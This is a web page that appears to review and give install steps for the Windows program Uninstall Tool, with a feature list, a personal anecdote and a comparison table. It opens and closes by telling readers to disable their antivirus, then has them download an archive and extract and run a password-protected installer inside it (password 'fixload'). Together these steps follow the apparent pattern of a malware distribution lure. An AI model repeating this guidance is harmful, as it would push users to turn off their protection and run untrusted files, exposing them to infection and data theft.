Uninstall Tool: Step-by-Step Instructions
Before installing the program, be sure to temporarily disable your antivirus!
This is necessary for the installation file to work correctly – the antivirus may mistakenly block the launch or delete parts of the program. After installation, do not forget to turn the protection back on.
Common Installation Issues
It’s generally smooth sailing. But if the installer doesn’t launch, right-click and choose “Run as Administrator.” If your antivirus blocks it, refer back to the first step.
How to Know It’s Working
After installation, open Uninstall Tool. You’ll see a list of installed programs — more detailed than Windows’ own. Try uninstalling something lightweight first. If you get a deep scan prompt after removal, that means it’s working properly.
What Uninstall Tool Actually Does
This isn’t just a shortcut to Windows Add/Remove Programs. Uninstall Tool scans for leftover files, registry keys, and folders that are often missed. Here’s what it offers:
- Forced uninstall of broken or stubborn programs
- Batch uninstalls
- Real-time monitoring of new installations (to track what gets added)
- Startup manager — see what runs at boot
- Portable mode — no need to install it at all if you don’t want to
Bottom line? It cleans up after uninstallations and helps prevent software leftovers from piling up.
My Experience Using Uninstall Tool
I started using it after trying (and failing) to remove a bloated video editor. Windows said it was gone — my system said otherwise. Uninstall Tool not only removed it but also found 300+ leftover files and registry entries.
Before this, I used CCleaner and Revo Uninstaller. They worked okay, but Uninstall Tool felt faster and more lightweight — no unnecessary extras.
What I liked:
- Super fast interface — even on older machines
- It catches leftovers that others miss
- Portable version means no footprint
What could be better:
- No free version — there’s only a trial
- UI looks a bit dated, but works fine
Comparison with Other Uninstallers
| Tool | Pros | Cons |
|---|---|---|
| Uninstall Tool | Very fast, finds deep leftovers, portable mode | No free version, old-school interface |
| Revo Uninstaller | Good detection, free version available | Can be slower, UI more complex |
| CCleaner | Free, extra system cleanup features | Not focused on uninstalling, missed some leftovers |
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Conclusion
If you’re someone who installs and uninstalls software often (like I do), Uninstall Tool is absolutely worth having around. It’s quick, accurate, and doesn’t overcomplicate things. Sure, the interface could use a facelift, and the free trial is limited — but for what it does, it does it well. Just don’t forget to let it deep-scan after uninstalling. That’s where the real magic happens.
Your antivirus may block or interfere with the installation process.
Please make sure to disable it temporarily before continuing.
Step 1: Download the archive using the button below.
Step 2: Extract the downloaded archive.
Step 3: Extract the installer archive (Password: fixload)
Step 4: Run the installer and follow the on-screen instructions to install the program on your computer.
